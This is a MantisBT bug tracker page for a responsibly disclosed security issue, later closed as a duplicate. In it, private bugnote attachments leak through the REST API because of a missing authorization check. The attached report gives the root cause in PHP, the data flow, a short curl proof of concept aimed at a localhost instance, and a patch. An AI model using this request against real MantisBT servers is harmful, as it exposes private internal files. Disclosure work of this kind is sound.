Dependency Graph
View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037092 | mantisbt | security | public | 2026-04-19 04:48 | 2026-05-10 07:57 |
| Reporter | TristanInSec | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | have not tried |
| Status | closed | Resolution | duplicate | ||
| Summary | 0037092: Private Bugnote Attachment Content Leak via REST API | ||||
| Description | A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to view attachments on private bugnotes they should not be able to access, via the REST API endpoint Vulnerability Details
Root Cause
Compare with
When Data Flow
Impact
| ||||
| Steps To Reproduce | | ||||
| Additional Information | FixIn | ||||
| Tags | No tags attached. | ||||
| Attached Files | vuln-1-private-bugnote-attachment-leak.md (4,375 bytes)
# Private Bugnote Attachment Content Leak via REST API
**Validation: Code trace** (TODO — manual review required, lint-added 2026-04-16)
## Summary
A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to view attachments on **private bugnotes** they should not be able to access, via the REST API endpoint `GET /api/rest/issues/{id}/files`.
## Vulnerability Details
- **CWE**: CWE-862 (Missing Authorization)
- **CVSS 3.1**: 6.5 (Medium) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- **Affected Version**: MantisBT 2.29.0-dev (and likely all prior versions with REST API)
- **Auth Required**: Any authenticated user with `view_attachments_threshold` (default: VIEWER, access level 10)
## Root Cause
`file_can_view_bugnote_attachments()` in `core/file_api.php:298-310` does NOT pass `$p_bugnote_id` to `file_can_view_or_download()`:
```php
function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) {
if( $p_bugnote_id == 0 ) { return true; }
// ...
return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id );
// ^^^^ no bugnote_id
}
```
Compare with `file_can_download_bugnote_attachments()` at line 334-340 which **correctly** passes it:
```php
function file_can_download_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null ) {
// ...
return file_can_view_or_download( 'download', $t_bug_id, $p_uploader_user_id, $p_bugnote_id );
// ^^^^^^^^^^^^
}
```
When `$p_bugnote_id` is passed, `file_can_view_or_download()` (line 260-264) uses `access_has_bugnote_level()` which checks the bugnote's `view_state` against `private_bugnote_threshold`. Without it, only a bug-level access check is performed, ignoring note privacy.
## Data Flow
1. `GET /api/rest/issues/{id}/files` -> `IssueFileGetCommand::process()` (core/commands/IssueFileGetCommand.php:65)
2. -> `file_get_visible_attachments($this->issue_id)` (line 78)
3. -> `file_can_view_bugnote_attachments()` called at file_api.php:501 — **does NOT check bugnote view_state**
4. -> `file_get_content($t_attachment['id'])` (line 85) returns full file content
5. Response includes metadata AND base64-encoded content for ALL attachments, including those on private bugnotes
## Impact
- **REPORTER** (access level 25) can view file attachments that were uploaded to **private bugnotes** by DEVELOPER/MANAGER/ADMIN users
- Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected
- The web UI is NOT affected — it filters through `bugnote_get_all_visible_bugnotes()` first
## Proof of Concept
```bash
#!/bin/bash
# PoC: Private bugnote attachment leak via REST API
#
# Prerequisites:
# 1. MantisBT instance at $MANTIS_URL
# 2. A bug with a private bugnote that has an attachment
# 3. API token for a REPORTER user (who should NOT see private bugnote attachments)
MANTIS_URL="http://localhost:8989"
API_TOKEN="YOUR_REPORTER_API_TOKEN"
ISSUE_ID=1
# Step 1: Create a private bugnote with attachment (as DEVELOPER/ADMIN)
# This would normally be done via the web UI:
# - Go to issue #1
# - Add a bugnote with "Private" view state
# - Attach a file to the bugnote
# Step 2: As REPORTER, fetch all attachments for the issue
curl -s -H "Authorization: ${API_TOKEN}" \
"${MANTIS_URL}/api/rest/issues/${ISSUE_ID}/files" | python3 -m json.tool
# Expected: Should NOT include attachments from private bugnotes
# Actual: Returns ALL attachments including those on private bugnotes,
# with full base64-encoded content
```
## Fix
In `file_can_view_bugnote_attachments()`, pass `$p_bugnote_id` to `file_can_view_or_download()`:
```php
function file_can_view_bugnote_attachments( $p_bugnote_id, $p_uploader_user_id = null, $p_bug_id = null ) {
if( $p_bugnote_id == 0 ) { return true; }
if( $p_bug_id === null ) {
$t_bug_id = bugnote_get_field( $p_bugnote_id, 'bug_id' );
} else {
$t_bug_id = (int)$p_bug_id;
}
return file_can_view_or_download( 'view', $t_bug_id, $p_uploader_user_id, $p_bugnote_id );
// ^^^^^^^^^^^^
}
```
| ||||
|
Many thanks for the detailed and well-written report. This vulnerability has already been identified by another researcher, so I'm closing this Issue as duplicate of 0036985. CVE has not yet been assigned. You will be co-credited for the finding. |
|
|
@TristanInSec I have a patch ready for review to fix this vulnerability, please accept the invitation to the private repository I sent you this morning to access it, feedback welcome. |
|
related to
child of
duplicate of